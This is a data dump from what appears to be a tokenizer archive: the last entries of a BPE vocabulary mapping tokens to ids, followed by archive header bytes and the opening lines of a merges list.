"\u0120sacrament": 49081, "\u0120[&": 49082, "\u0120priceless": 49083, "\u0120gelatin": 49084, "\u0120emanating": 49085, "\u0120Allaah": 49086, "986": 49087, "\u0120outburst": 49088, "\u0120eras": 49089, "\u0120XVI": 49090, "\u0120SPI": 49091, "Ott": 49092, "\u0120Lazarus": 49093, "PLIED": 49094, "Flying": 49095, "blogs": 49096, "Wisconsin": 49097, "Raven": 49098, "\u0120rebate": 49099, "\u0120creeps": 49100, "\u0120Span": 49101, "\u0120Painter": 49102, "\u0120Kira": 49103, "\u0120Amos": 49104, "\u0120Corvette": 49105, "Consumer": 49106, "\u0120Recover": 49107, "cki": 49108, "\u0120pesky": 49109, "\u0120Invention": 49110, "Companies": 49111, "\u0120challengers": 49112, "ademic": 49113, "\u0120Ukrainians": 49114, "\u0120Neurolog": 49115, "\u0120Forsaken": 49116, "\u0120entrants": 49117, "\u0120embattled": 49118, "\u0120defunct": 49119, "\u0120Glacier": 49120, "\u0120poisons": 49121, "\u0120Horses": 49122, "makes": 49123, "\u0120Dirt": 49124, "\u0120423": 49125, "hhh": 49126, "\u0120Transformation": 49127, "QUIRE": 49128, "..................": 49129, "\u0120traveller": 49130, "\u0120Sexy": 49131, "\u0120Kern": 49132, "ipolar": 49133, "\u0120ransomware": 49134, "oooooooooooooooo": 49135, "Ec": 49136, "ruby": 49137, "Professional": 49138, "\u0120Outbreak": 49139, "argument": 49140, "Grey": 49141, "\u0120Fifa": 49142, "\u0120CHO": 49143, "\u0120FORM": 49144, "\u0120Amtrak": 49145, "-[": 49146, "\u0120cradle": 49147, "\u0120antioxidants": 49148, "\u00e3\u0123\u00ae\u00e5\u00ae": 49149, "736": 49150, "\u0120NASL": 49151, "\u0120Contributions": 49152, "Indiana": 49153, "\u0120STEP": 49154, "CSS": 49155, "\u0120salient": 49156, "\u0120allocations": 49157, "yrights": 49158, "\u0120mashed": 49159, "\u0120Cutter": 49160, "Sexual": 49161, "\u0120pounded": 49162, "\u0120fanbase": 49163, "\u0120casc": 49164, "\u0120Transparency": 49165, "\u0120analytic": 49166, "\u0120Summoner": 49167, "\u00d7\u0140": 49168, "\u0120ADC": 49169, "detail": 49170, "\u0120vanquished": 49171, "\u0120crabs": 49172, "arie": 49173, "Destroy": 49174, "\u0120Sack": 49175, "\u0120transistor": 49176, "Alabama": 49177, "\u0120Koen": 49178, "\u0120Fisheries": 49179, "cone": 49180, "\u0120annexed": 49181, "\u0120MGM": 49182, "esa": 49183, "\u0120faked": 49184, "\u0120Congratulations": 49185, "\u0120hindered": 49186, "\u0120correctional": 49187, "\u0120ITV": 49188, "leeve": 49189, "\u0120inappropriately": 49190, "licks": 49191, "\u0120trespass": 49192, "\u0120paws": 49193, "\u0120negotiator": 49194, "\u0120Christensen": 49195, "limits": 49196, "\u0120Dianne": 49197, "\u0120elegance": 49198, "\u0120Contracts": 49199, "anke": 49200, "Obj": 49201, "\u0120vigilance": 49202, "\u0120castles": 49203, "\u0120NAD": 49204, "\u0120Holo": 49205, "\u0120emphatically": 49206, "\u0120Titus": 49207, "\u0120Serving": 49208, "\u0120Richie": 49209, "\u0120Pigs": 49210, "568": 49211, "\u0120animosity": 49212, "\u0120Attributes": 49213, "\u0120Uriel": 49214, "MQ": 49215, "myra": 49216, "\u0120Applicant": 49217, "\u0120psychiatrists": 49218, "\u0120Vij": 49219, "\u0120Abby": 49220, "agree": 49221, "Push": 49222, "\u0120kWh": 49223, "hiba": 49224, "\u0120incite": 49225, "\u0120Weasley": 49226, "\u0120Taxi": 49227, "ministic": 49228, "hyper": 49229, "\u0120Farn": 49230, "\u0120601": 49231, "\u0120Nationwide": 49232, "Fake": 49233, "952": 49234, "\u0120maize": 49235, "\u0120interacted": 49236, "\u0120transitioned": 49237, "\u0120parasitic": 49238, "\u0120harmonic": 49239, "\u0120decaying": 49240, "\u0120baseless": 49241, "nsics": 49242, "\u0120transpired": 49243, "\u0120abundantly": 49244, "\u0120Forensic": 49245, "\u0120treadmill": 49246, "\u0120Jav": 49247, "aband": 49248, "\u0120sshd": 49249, "\u0120frontman": 49250, "\u0120Jakarta": 49251, "oller": 49252, "drops": 49253, "\u0120SERVICES": 49254, "romptu": 49255, "ophical": 49256, "hospital": 49257, "bledon": 49258, "645": 49259, "\u0120midrange": 49260, "\u0120EVENT": 49261, "culated": 49262, "rawled": 49263, "\u0120perched": 49264, "\u0120overboard": 49265, "\u0120Peel": 49266, "\u0120Pwr": 49267, "\u0120Carth": 49268, "\u0120COMPLE": 49269, "coe": 49270, "shall": 49271, "\u0120deterrence": 49272, "METHOD": 49273, "\u0120Absent": 49274, "MEN": 49275, "\u0120sill": 49276, "\u0120LEVEL": 49277, "York": 49278, "\u0120sinners": 49279, "\u0120OPEC": 49280, "\u0120Nur": 49281, "\u0120Designs": 49282, "selection": 49283, "\u0120unworthy": 49284, "CHA": 49285, "\u0120strengthens": 49286, "883": 49287, "edly": 49288, "\u0120slicing": 49289, "\u0120malnutrition": 49290, "\u0120filmmaking": 49291, "\u0120Polk": 49292, "urated": 49293, "\u0120421": 49294, "breakers": 49295, "!'\"": 49296, "\u0120wetlands": 49297, "\u0120Discrimination": 49298, "\u0120allowable": 49299, "\u0120steered": 49300, "\u0120Sicily": 49301, "SAM": 49302, "\u0120mustache": 49303, "\u0120mids": 49304, "\u0120clipped": 49305, "\u0120circulate": 49306, "\u0120brittle": 49307, "\u0120Buildings": 49308, "raised": 49309, "\u0120Roundup": 49310, "\u0120wealthier": 49311, "\u0120overwrite": 49312, "\u0120overpowered": 49313, "\u0120Gerrard": 49314, "sites": 49315, "PDATED": 49316, "\u0120acutely": 49317, "\u0120Gamble": 49318, "\u0120pim": 49319, "\u0120Kus": 49320, "Typically": 49321, "Deploy": 49322, "\u0120Moroccan": 49323, "potion": 49324, "combe": 49325, "\u0120vigilante": 49326, "\u0120363": 49327, "Stew": 49328, "\u0120Bagg": 49329, "\u0120resided": 49330, "\u0120Spo": 49331, "\u0120remnant": 49332, "\u0120emptiness": 49333, "brainer": 49334, "\u0120outpatient": 49335, "priority": 49336, "\u0120leptin": 49337, "\u0120Payton": 49338, "\u0120Gleaming": 49339, "\u0120Shed": 49340, "\u0120Polo": 49341, "\u0120Mormonism": 49342, "restricted": 49343, "arlane": 49344, "wx": 49345, "\u0120creatine": 49346, "\u0120Anon": 49347, "\u0120STUD": 49348, "\u0120JUL": 49349, "\u0120Tee": 49350, "528": 49351, "089": 49352, "\u0120hatched": 49353, "Dispatch": 49354, "\u0120Composite": 49355, "\u0120451": 49356, "puff": 49357, "\u0120XCOM": 49358, "\u0120Orn": 49359, "\u0120THANK": 49360, "ENDED": 49361, "\u0120Asheville": 49362, "\u0120\u00c3\u013e": 49363, "\u0120mango": 49364, "\u0120Slightly": 49365, "worldly": 49366, "\u0120Wander": 49367, "\u0120Expand": 49368, "\u0120Chr": 49369, "Mist": 49370, "\u0120orthodoxy": 49371, "\u0120UNESCO": 49372, "regate": 49373, "Elsewhere": 49374, "kie": 49375, "irled": 49376, "\u0120topple": 49377, "\u0120adoptive": 49378, "\u0120Legs": 49379, "dress": 49380, "\u0120Sagan": 49381, "bare": 49382, "\u0120Glou": 49383, "Crunch": 49384, "\u0120helpers": 49385, "\u0120chronically": 49386, "\u0120Huma": 49387, "10000": 49388, "\u0120accommodating": 49389, "\u00e4\u00ba\u0136": 49390, "\u0120wrinkles": 49391, "\u0120dodged": 49392, "fourth": 49393, "\u0120precon": 49394, "\u0120compressor": 49395, "\u0120Kare": 49396, "\u0120evict": 49397, "\u0120Warwick": 49398, "imar": 49399, "\u0120modernization": 49400, "\u0120bandwagon": 49401, "\u0120refuted": 49402, "\u0120netted": 49403, "\u0120Naples": 49404, "\u0120Genie": 49405, "perors": 49406, "\u0120fielded": 49407, "\u0120dere": 49408, "\u0120Parables": 49409, "lees": 49410, "\u0120trout": 49411, "aspers": 49412, "\u0120nihil": 49413, "\u0120happiest": 49414, "\u0120floppy": 49415, "\u0120Loft": 49416, "\u0120Heard": 49417, "\u0120unison": 49418, "\u0120lug": 49419, "\u0120Redmond": 49420, "classic": 49421, "Supporters": 49422, "SHIP": 49423, "GMT": 49424, "\u0120fuelled": 49425, "\u00e7\u0132": 49426, "\u0120dd": 49427, "\u0120Eminem": 49428, "\u01201897": 49429, "NYSE": 49430, "\u0120secretaries": 49431, "\u0120FIA": 49432, "\u0120Canaveral": 49433, "Favorite": 49434, "\u0120pomp": 49435, "\u0120detainee": 49436, "ership": 49437, "aimon": 49438, "iour": 49439, "\u0120Apex": 49440, "\u0120plantations": 49441, "amia": 49442, "acion": 49443, "Rust": 49444, "\u0120towed": 49445, "\u0120Truly": 49446, "577": 49447, "\u0120sheltered": 49448, "rider": 49449, "Wo": 49450, "\u0120lair": 49451, "\u0120Intelligent": 49452, "improve": 49453, "matically": 49454, "\u0120etiquette": 49455, "adra": 49456, "allo": 49457, "\u0120Juno": 49458, "anything": 49459, "\u0120Struggle": 49460, "\u0120Predict": 49461, "\u0120Grimes": 49462, "\u0120AMERICA": 49463, "ctx": 49464, "\u0120Situation": 49465, "WOOD": 49466, "\u0120soluble": 49467, "meier": 49468, "\u0120intolerable": 49469, "angering": 49470, "\u0120uninterrupted": 49471, "\u0120tooltip": 49472, "\u0120interrogated": 49473, "\u0120gunned": 49474, "\u0120Sneak": 49475, "\u00e6\u0143\u00a6": 49476, "\u0120tether": 49477, "\u0120crumble": 49478, "Lens": 49479, "\u0120clustered": 49480, "\u0120Syl": 49481, "\u0120Hasan": 49482, "\u0120dystopian": 49483, "wana": 49484, "\u0120joystick": 49485, "\u0120Thib": 49486, "ammu": 49487, "Tomorrow": 49488, "546": 49489, "\u0120overcame": 49490, "\u0120minimized": 49491, "ceptor": 49492, "Runner": 49493, "ENGTH": 49494, "\u0120Brenda": 49495, "\u0120Achievements": 49496, "\u0120torches": 49497, "\u0120rapport": 49498, "\u0120Investigator": 49499, "\u0120Handling": 49500, "relation": 49501, "grey": 49502, "815": 49503, "\u0120kcal": 49504, "\u0120Commands": 49505, "dq": 49506, "\u0120curls": 49507, "\u0120bearer": 49508, "\u0120cynicism": 49509, "itri": 49510, "\u0120Useful": 49511, "Bee": 49512, "DCS": 49513, "\u0120abras": 49514, "Pract": 49515, "BILITIES": 49516, "712": 49517, "\u0120debugger": 49518, "\u0120debtor": 49519, "\u0120Lia": 49520, "\u0120Kers": 49521, "\u0120exacerbate": 49522, "\u0120Stacy": 49523, "\u0120Bland": 49524, "\u0120Scenes": 49525, "\u0120branching": 49526, "\u00e2\u0138\u012a\u00e2\u0138\u012a\u00e2\u0138\u012a\u00e2\u0138\u012a\u00e2\u0138\u012a\u00e2\u0138\u012a\u00e2\u0138\u012a\u00e2\u0138\u012a": 49527, "apeake": 49528, "\u0120salsa": 49529, "\u0120mishand": 49530, "\u0120Konami": 49531, "\u0120Nib": 49532, "\u0120anecdote": 49533, "\u0120agreeable": 49534, "\u00cf\u012b": 49535, "\u0120Nathaniel": 49536, "\u0120Heisman": 49537, "\u0120Beware": 49538, "\u01201886": 49539, "spective": 49540, "691": 49541, "522": 49542, "\u0120inhibits": 49543, "\u0120hashing": 49544, "\u01201889": 49545, "\u00e5\u00b0\u0128": 49546, "vich": 49547, "Pure": 49548, "\u0120solidly": 49549, "\u0120aspirin": 49550, "imaru": 49551, "\u0120streetcar": 49552, "\u0120UCS": 49553, "\u0120Judd": 49554, "\u0120flashbacks": 49555, "pins": 49556, "\u01201440": 49557, "\u0120UNHCR": 49558, "\u0120Symptoms": 49559, "TIT": 49560, "538": 49561, "Fra": 49562, "%);": 49563, "\u0120ooz": 49564, "\u0120curfew": 49565, "\u0120calmed": 49566, "\u0120participates": 49567, "TeX": 49568, "\u0120nonsensical": 49569, "\u0120fullback": 49570, "\u0120DeL": 49571, "monkey": 49572, "hari": 49573, "\u0120metabolites": 49574, "\u0120looted": 49575, "\u0120ALWAYS": 49576, "\u0120BCC": 49577, "Lt": 49578, "ochet": 49579, "Bone": 49580, "\u0120vetoed": 49581, "\u0120gcc": 49582, "\u0120CLICK": 49583, "\u01201888": 49584, "saf": 49585, "\u0120stiffness": 49586, "\u0120lowly": 49587, "\u0120Geh": 49588, "verson": 49589, "orset": 49590, "\u0120unforeseen": 49591, "\u0120anesthesia": 49592, "\u0120Optical": 49593, "\u0120reconstructed": 49594, "\u0120Tup": 49595, "shows": 49596, "NEWS": 49597, "\u0120Newspaper": 49598, "\u0120ASA": 49599, "tera": 49600, "Numbers": 49601, "\u0120inexplicable": 49602, "\u00d7\u0133": 49603, "\u0120hardness": 49604, "untarily": 49605, "\u0120Acer": 49606, "gradient": 49607, "ARDIS": 49608, "\u0120woodland": 49609, "\u0120metaphors": 49610, "\u0120Wembley": 49611, "\u0120Pavel": 49612, "philis": 49613, "\u0120rewriting": 49614, "\u0120perceptual": 49615, "\u01201070": 49616, "worms": 49617, "\u0120Downs": 49618, "\u0120unsurprisingly": 49619, "\u0120tagging": 49620, "flame": 49621, "\u0120litres": 49622, "\u0120bounces": 49623, "\u0120Babe": 49624, "shut": 49625, "\u0120overdoses": 49626, "\u0120Sheila": 49627, "\u0120Chau": 49628, "\u0120Bless": 49629, "Capture": 49630, "\u0120Significant": 49631, "\u0120Scion": 49632, "\u0120389": 49633, "\u0120McH": 49634, "\u0120Titanium": 49635, "\u0120Meal": 49636, "ameda": 49637, "agents": 49638, "aggressive": 49639, "Billy": 49640, "763": 49641, "\u0120Saying": 49642, "DERR": 49643, "itone": 49644, "Collins": 49645, "Bound": 49646, "\u0120bolted": 49647, "\u0120DMCA": 49648, "953": 49649, "\u0120uniqueness": 49650, "\u0120epigen": 49651, "unci": 49652, "antam": 49653, "\u0120reckoning": 49654, "chairs": 49655, "OGR": 49656, "\u0120Senegal": 49657, "\u01201862": 49658, "relevant": 49659, "\u0120\u00c2\u00af": 49660, "\u0120pharmacies": 49661, "\u0120Geral": 49662, "vier": 49663, "Yan": 49664, "ORPG": 49665, "\u0120rabid": 49666, "bending": 49667, "\u0120UNITED": 49668, "\u0120465": 49669, "Assembly": 49670, "\u0120weep": 49671, "\u0120behest": 49672, "\u0120Mothers": 49673, "\u0120Jace": 49674, "hid": 49675, "\u0120whirlwind": 49676, "\u0120UNIVERS": 49677, "\u0120utopian": 49678, "\u0120kidnap": 49679, "Philipp": 49680, "Kin": 49681, "893": 49682, "\u0120livestream": 49683, "\u0120MISS": 49684, "\u0120subversive": 49685, "\u0120Techniques": 49686, "\u0120JUSTICE": 49687, "\u0120BASE": 49688, "\u0120387": 49689, "\u0120assailants": 49690, "\u0120Hardcore": 49691, "\u0120sprinkled": 49692, "\u0120Pse": 49693, "\u00e9\u013c": 49694, "printed": 49695, "\u0120Hau": 49696, "ORGE": 49697, "\u0120TOUR": 49698, "\u0120laced": 49699, "\u0120itch": 49700, "Giving": 49701, "\u0120ported": 49702, "781": 49703, "////////////////////////////////": 49704, "breeding": 49705, "\u0120logger": 49706, "\u0120HOL": 49707, "innie": 49708, "Firstly": 49709, "\u0120embryonic": 49710, "\u0120delegated": 49711, "pai": 49712, "OIL": 49713, "\u0120centrally": 49714, "\u0120Rx": 49715, "\u0120Scouting": 49716, "Dutch": 49717, "\u0120hereditary": 49718, "\u0120Cruiser": 49719, "sat": 49720, "529": 49721, "\u0120Marriott": 49722, "othermal": 49723, "\u0120prohibitions": 49724, "Earn": 49725, "\u0120Stab": 49726, "\u0120Colleges": 49727, "\u0120Belief": 49728, "stretched": 49729, "\u0120LH": 49730, "\u0120EntityItem": 49731, "CIA": 49732, "\u0120unrem": 49733, "\u0120laureate": 49734, "\u0120denominations": 49735, "summary": 49736, "hler": 49737, "Spect": 49738, "\u0120Klaus": 49739, "\u0120Beans": 49740, "\u0120insur": 49741, "\u0120PAX": 49742, "\u0120fielder": 49743, "\u0120Vet": 49744, "\u0120Sparrow": 49745, "zie": 49746, "\u0120SQ": 49747, "\u0120Mondays": 49748, "\u0120Offline": 49749, "\u0120Lerner": 49750, "\u0120Extensions": 49751, "Ireland": 49752, "\u0120patronage": 49753, "\u0120contrasted": 49754, "\u0120Mania": 49755, "hirt": 49756, "Moscow": 49757, "\u0120condemns": 49758, "\u0120Ange": 49759, "\u0120composing": 49760, "\u0120Pepe": 49761, "\u0120Paddock": 49762, "\u0120heterogeneity": 49763, "\u0120ideologically": 49764, "\u0120fishes": 49765, "\u0120cursing": 49766, "\u0120Rutherford": 49767, "\u0120Floating": 49768, "\u0120Amelia": 49769, "Tea": 49770, "Synopsis": 49771, "\u0120stunts": 49772, "\u0120bead": 49773, "\u0120stocking": 49774, "\u0120MILL": 49775, "obook": 49776, "massive": 49777, "\\<": 49778, "\u0120hump": 49779, "\u0120Preferences": 49780, "EngineDebug": 49781, "geist": 49782, "\u0120Nieto": 49783, "omever": 49784, "ishy": 49785, "evaluate": 49786, "colonial": 49787, "Alternative": 49788, "\u0120GoPro": 49789, "\u0120Vortex": 49790, "\u0120NETWORK": 49791, "ansky": 49792, "Secure": 49793, "\u0120Thrust": 49794, "Snake": 49795, "\u0120parcels": 49796, "\u0120samurai": 49797, "\u0120actresses": 49798, "Nap": 49799, "MF": 49800, "iferation": 49801, "Beer": 49802, "523": 49803, "\u0120Ily": 49804, "ointment": 49805, "Ping": 49806, "\u0120striped": 49807, "\u0120Mellon": 49808, "ossession": 49809, "\u0120neutron": 49810, "endium": 49811, "\u0120aph": 49812, "\u0120Flavoring": 49813, "\u0120383": 49814, "\u0120responsiveness": 49815, "\u0120Jindal": 49816, "\u0120Hitchcock": 49817, "Denver": 49818, "\u0120DRAGON": 49819, "smanship": 49820, "\u0120Dupl": 49821, "\u0120sly": 49822, "\u0120webcam": 49823, "\u0120Twain": 49824, "\u0120Darling": 49825, "iliate": 49826, "consumer": 49827, "DIT": 49828, "\u0120namesake": 49829, "\u0120unorthodox": 49830, "\u0120funer": 49831, "\u0120PLoS": 49832, "\u0120CONTROL": 49833, "ozyg": 49834, "oglobin": 49835, "FACE": 49836, "ERG": 49837, "\u0120Dia": 49838, "\u0120Fiesta": 49839, "cele": 49840, "034": 49841, "\u0120enclave": 49842, "\u00e2\u0138\u00ac\u00e2\u0138\u00ac": 49843, "onement": 49844, "alist": 49845, "Mand": 49846, "\u0120homegrown": 49847, "\u0120Fancy": 49848, "\u0120conceptions": 49849, "\u0120Contains": 49850, "ureen": 49851, "\u0120reiterate": 49852, "\u0120meager": 49853, "\u0120installments": 49854, "Spawn": 49855, "627": 49856, "\u0120photoc": 49857, "\u0120Cabrera": 49858, "\u0120Rosenthal": 49859, "\u0120Lansing": 49860, "isner": 49861, "\u0120invests": 49862, "\u0120UFOs": 49863, "EXP": 49864, "Hardware": 49865, "\u0120tragically": 49866, "\u0120concedes": 49867, "ieft": 49868, "cham": 49869, "borgh": 49870, "\u0120Schr": 49871, "\u0120Melanie": 49872, "\u0120Hoy": 49873, "\u0120visitation": 49874, "\u0120idiosyncr": 49875, "\u0120fractions": 49876, "\u0120foreskin": 49877, "obos": 49878, "\u0120poaching": 49879, "\u0120VIEW": 49880, "\u0120stimulates": 49881, "\u0120Gork": 49882, "canon": 49883, "MIC": 49884, "\u0120Nemesis": 49885, "\u0120Indra": 49886, "\u0120DMV": 49887, "\u0120529": 49888, "\u0120inspecting": 49889, "\u0120grandma": 49890, "\u0120Whedon": 49891, "\u0120Shant": 49892, "\u0120Purg": 49893, "ikan": 49894, "\u0120Teg": 49895, "\u0120CLR": 49896, "zac": 49897, "Victoria": 49898, "\u0120Verify": 49899, "ionics": 49900, "\u0120partying": 49901, "\u0120Mou": 49902, "colour": 49903, "\u0120testimonies": 49904, "lations": 49905, "\u0120pressuring": 49906, "hiro": 49907, "acers": 49908, "\u0120fid": 49909, "angler": 49910, "\u0120CSI": 49911, "\u0120hereafter": 49912, "\u0120dissidents": 49913, "reporting": 49914, "iphany": 49915, "chev": 49916, "\u0120solitude": 49917, "\u0120lobe": 49918, "\u0120indis": 49919, "\u0120credential": 49920, "recent": 49921, "adult": 49922, "\u0120Nirvana": 49923, "\u0120Franchise": 49924, "Layer": 49925, "Hyp": 49926, "\u0120Berkshire": 49927, "\u0120wills": 49928, "tif": 49929, "\u0120totem": 49930, "\u0120Judah": 49931, "repair": 49932, "Instant": 49933, "548": 49934, "\u0120embassies": 49935, "\u0120bottleneck": 49936, "\u0120bount": 49937, "\u0120typew": 49938, "\u0120Alvin": 49939, "jing": 49940, "imilar": 49941, "Rush": 49942, "\u0120brim": 49943, "\u0120HELP": 49944, "Aim": 49945, "]'": 49946, "\u0120passively": 49947, "\u0120bounded": 49948, "\u0120Rated": 49949, "\u0120criminality": 49950, "\u0120biomark": 49951, "\u0120dispatcher": 49952, "\u0120Towards": 49953, "\u0120+++": 49954, "righteous": 49955, "frog": 49956, "\u0120Panc": 49957, "Carter": 49958, "032": 49959, "\u00e6\u00a9\u0141": 49960, "\u0120ultraviolet": 49961, "\u0120Licensed": 49962, "\u0120Tata": 49963, "\u0120Blessing": 49964, "\u0120GAM": 49965, "\u0120chemically": 49966, "\u0120Seaf": 49967, "\u0120RELE": 49968, "\u0120Mercenary": 49969, "capitalist": 49970, "\u0120formulations": 49971, "\u0120annihilation": 49972, "\u0120Verb": 49973, "\u0120Argon": 49974, "\u0120unloaded": 49975, "\u0120morphed": 49976, "\u0120conquering": 49977, "backer": 49978, "IELD": 49979, "\u0120thefts": 49980, "\u0120frontrunner": 49981, "\u0120Royale": 49982, "\u0120Fundamental": 49983, "elight": 49984, "Chip": 49985, "necessary": 49986, "ayn": 49987, "\u0120Slip": 49988, "\u0120448": 49989, "cerned": 49990, "Pause": 49991, "\u0120shockingly": 49992, "\u0120ABV": 49993, "\u0120composure": 49994, "733": 49995, "\u0120Motorsport": 49996, "ahime": 49997, "Murray": 49998, "Mach": 49999, "\u0120grids": 50000, "\u0120debian": 50001, "\u0120furthermore": 50002, "\u0120dexterity": 50003, "\u0120Collections": 50004, "oslov": 50005, "ilage": 50006, "bj": 50007, "\u0120Monteneg": 50008, "\u0120strutConnector": 50009, "\u0120massacres": 50010, "\u0120briefs": 50011, "fetched": 50012, "uvian": 50013, "olition": 50014, "Failure": 50015, "emonic": 50016, "\u0120flared": 50017, "\u0120claimant": 50018, "\u0120cures": 50019, "\u0120giveaways": 50020, "\u0120Substance": 50021, "alions": 50022, "\u0120cringe": 50023, "\u0120Kul": 50024, "\u0120aristocracy": 50025, "\u0120Ulster": 50026, "olated": 50027, "housing": 50028, "\u0120MIS": 50029, "\u0120glared": 50030, "\u0120Wilhelm": 50031, "needs": 50032, "lambda": 50033, "builders": 50034, "\u0120VIS": 50035, "\u0120radiator": 50036, "\u0120Ghostbusters": 50037, "\u0120436": 50038, "actual": 50039, "\u0120herds": 50040, "\u00c3\u00a7a": 50041, "watching": 50042, "\u0120countering": 50043, "Charge": 50044, "\u0120charred": 50045, "\u0120warheads": 50046, "\u0120iodine": 50047, "\u0120Macy": 50048, "041": 50049, "\u0120departures": 50050, "\u0120Sins": 50051, "\u0120dyed": 50052, "\u0120Concepts": 50053, "gado": 50054, "713": 50055, "\u0120quotations": 50056, "\u0120gist": 50057, "\u0120Christy": 50058, "\u0120antigen": 50059, "\u0120Hemp": 50060, "\u0120Drawn": 50061, "\u0120Barg": 50062, "ezvous": 50063, "\u0120paternity": 50064, "\u0120ardu": 50065, "\u0120Anchorage": 50066, "\u0120Rik": 50067, "\u0120overloaded": 50068, "\u0120Username": 50069, "\u0120Tammy": 50070, "\u0120Nau": 50071, "\u0120Cellular": 50072, "\u0120waning": 50073, "\u0120rodent": 50074, "\u0120Worcester": 50075, "ilts": 50076, "\u0120Tad": 50077, "\u0120dwellings": 50078, "\u0120bullish": 50079, "431": 50080, "\u0120retaliate": 50081, "\u0120migraine": 50082, "\u0120Chevron": 50083, "CHECK": 50084, "\u0120donkey": 50085, "crim": 50086, "SPA": 50087, "\u0120Analog": 50088, "\u0120marquee": 50089, "\u0120Haas": 50090, "Bir": 50091, "\u0120GDDR": 50092, "\u0120Downloads": 50093, "\u0120willpower": 50094, "\u0120Forth": 50095, "\u0120Recorded": 50096, "\u0120impossibility": 50097, "\u0120Logged": 50098, "\u0120Franks": 50099, "\u0120Ratt": 50100, "initions": 50101, "\u0120cleaners": 50102, "\u0120sorely": 50103, "\u0120flickering": 50104, "\u0120Examination": 50105, "catching": 50106, "alloween": 50107, "Msg": 50108, "\u0120dunno": 50109, "Fa": 50110, "\u0120dysph": 50111, "crazy": 50112, ".''.": 50113, "\u0120mainline": 50114, "\u0120cs": 50115, "\u0120ptr": 50116, "\u0120Wally": 50117, "igun": 50118, "951": 50119, "\u0120Bigfoot": 50120, "fights": 50121, "\u0120retrieving": 50122, "Jr": 50123, "\u0120duplication": 50124, "\u0120Explan": 50125, "\u0120relational": 50126, "\u0120quaint": 50127, "\u0120biscuits": 50128, "\u0120ado": 50129, "\u0120shudder": 50130, "\u0120antidote": 50131, "blooded": 50132, "ksh": 50133, "\u0120sauces": 50134, "\u0120reinvest": 50135, "\u0120dispensary": 50136, "\u0120Diver": 50137, "\u01209000": 50138, "student": 50139, "\u0120insepar": 50140, "escap": 50141, "\u0120toddlers": 50142, "\u0120GPIO": 50143, "\u0120Assignment": 50144, "headers": 50145, "\u0120lackluster": 50146, "\u0120aback": 50147, "956": 50148, "\u0120toolbar": 50149, "745": 50150, "\u0120oust": 50151, "\u0120contemplation": 50152, "\u0120PRESIDENT": 50153, "\u0120458": 50154, "======": 50155, "\u0120guaranteeing": 50156, "\u0120Heist": 50157, "\u0120Cannes": 50158, "\u013b\u00bd": 50159, "\u0120collaborator": 50160, "\u0120Amp": 50161, "\u0120gou": 50162, "\u0120SHALL": 50163, "stories": 50164, "783": 50165, "\u0120mobilized": 50166, "\u0120brood": 50167, "\u0120LU": 50168, "\u0120\u00f0\u0141\u0133": 50169, "\u0120refin": 50170, "\u0120Anthropology": 50171, "vind": 50172, "illi": 50173, "\u0120warranties": 50174, "\u0120Babel": 50175, "\u0120swath": 50176, "\u0120caches": 50177, "\u0120antagonists": 50178, "artifacts": 50179, "\u0120hotly": 50180, "\u0120Starts": 50181, "\u0120G\u00c3\u00b6": 50182, "zag": 50183, "!!!!!": 50184, "\u0120scourge": 50185, "\u0120conspiring": 50186, "ruits": 50187, "reverse": 50188, "\u0120Sheen": 50189, "\u0120Jesuit": 50190, "\u0120Giovanni": 50191, "adies": 50192, "\u0120buttocks": 50193, "earcher": 50194, "acan": 50195, "\u0120volleyball": 50196, "\u0120shrouded": 50197, "\u0120scoreboard": 50198, "bats": 50199, "\u0120IPM": 50200, "\u0120asses": 50201, "\u0120deregulation": 50202, "\u0120Telegram": 50203, "\u0120Reboot": 50204, "\u01207000": 50205, "\u0120Canary": 50206, "\u0120kernels": 50207, "\u0120Fran\u00c3\u00a7ois": 50208, "\u0120Duff": 50209, "\u0120Pon": 50210, "\u0120Leica": 50211, "\u0120Garmin": 50212, "\u0120orphans": 50213, "\u0120Claudia": 50214, "\u0120calendars": 50215, "\u0120Leilan": 50216, "ento": 50217, "Rocket": 50218, "\u0120brunch": 50219, "\u0120Hawking": 50220, "ainers": 50221, "\u0120sensibilities": 50222, "\u0120kW": 50223, "\u0120Kand": 50224, "\u0120reclaimed": 50225, "\u0120interestingly": 50226, "\u00d7\u00a9": 50227, "romy": 50228, "JM": 50229, "\u0120Enhancement": 50230, "bush": 50231, "Skip": 50232, "\u0120rappers": 50233, "\u0120gazing": 50234, "pedia": 50235, "athlon": 50236, "Revolution": 50237, "\u0120snipers": 50238, "\u0120reverted": 50239, "\u0120conglomerate": 50240, "Terry": 50241, "794": 50242, "\u0120harsher": 50243, "\u0120desolate": 50244, "\u0120Hitman": 50245, "Commission": 50246, "\u0120(/": 50247, "\u00e2\u0122\u00a6.\"": 50248, "Compar": 50249, "\u0120amplification": 50250, "ominated": 50251, "\u0120regress": 50252, "\u0120Collider": 50253, "\u0120informants": 50254, "\u0120gazed": 50255, "<|endoftext|>": 50256}�����������������������������������������������������������������������������������������������������������������������������������res/tokenizer/pretrained_vocab_files/merges.txt�����������������������������������������������������0000644�����������������00001573176�14757771437�0016135 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#version: 0.2 Ä  t Ä  a h e i n r e o n Ä t he e r Ä  s a t Ä  w Ä  o e n Ä  c i t i s a n o r e s Ä  b e d Ä  f in g Ä  p o u Ä a n a l a r Ä t o Ä  m Ä o f Ä  in Ä  d Ä  h Ä an d i c a s l e Ä t h i on o m l l en t Ä  n Ä  l s t Ä  re v e Ä  e r o l y Ä b e Ä  g Ä  T c t Ä  S i d o t Ä  I u t e t Ä  A Ä  is Ä  on i m a m o w a y a d s e Ä th at Ä  C i g Ä f or a c Ä  y v er u r Ä  u l d Ä s t Ä  M ' s Ä  he Ä  it at ion it h i r c e Ä y ou i l Ä  B Ä w h o l Ä  P Ä w ith Ä  1 t er c h Ä a s Ä w e Ä  ( n d i ll Ä  D i f Ä  2 a g er s k e Ä  " Ä  H e m Ä c on Ä  W Ä  R he r Ä w as Ä  r o d Ä  F u l at e Ä a t r i p p o re Ä T he Ä s e u s Ä p ro Ä h a u m Ä a re Ä d e a in an d Ä o r ig h es t is t a b r om Ä  N t h Ä c om Ä  G u n o p 0 0 Ä  L Ä n ot es s Ä e x Ä  v re s Ä  E e w it y an t Ä b y e l o s or t o c q u Ä f rom Ä ha ve Ä s u i ve ou ld Ä s h Ä th is n t r a p e igh t ar t m ent Ä a l u st en d - - al l Ä  O ac k Ä c h Ä  le i es re d ar d â Ä¢ ou t Ä  J Ä a b e ar i v al ly ou r o st g h p t Ä p l as t Ä c an a k om e u d T he Ä h is Ä d o Ä g o Ä h as g e ' t Ä  U r ou Ä s a Ä  j Ä 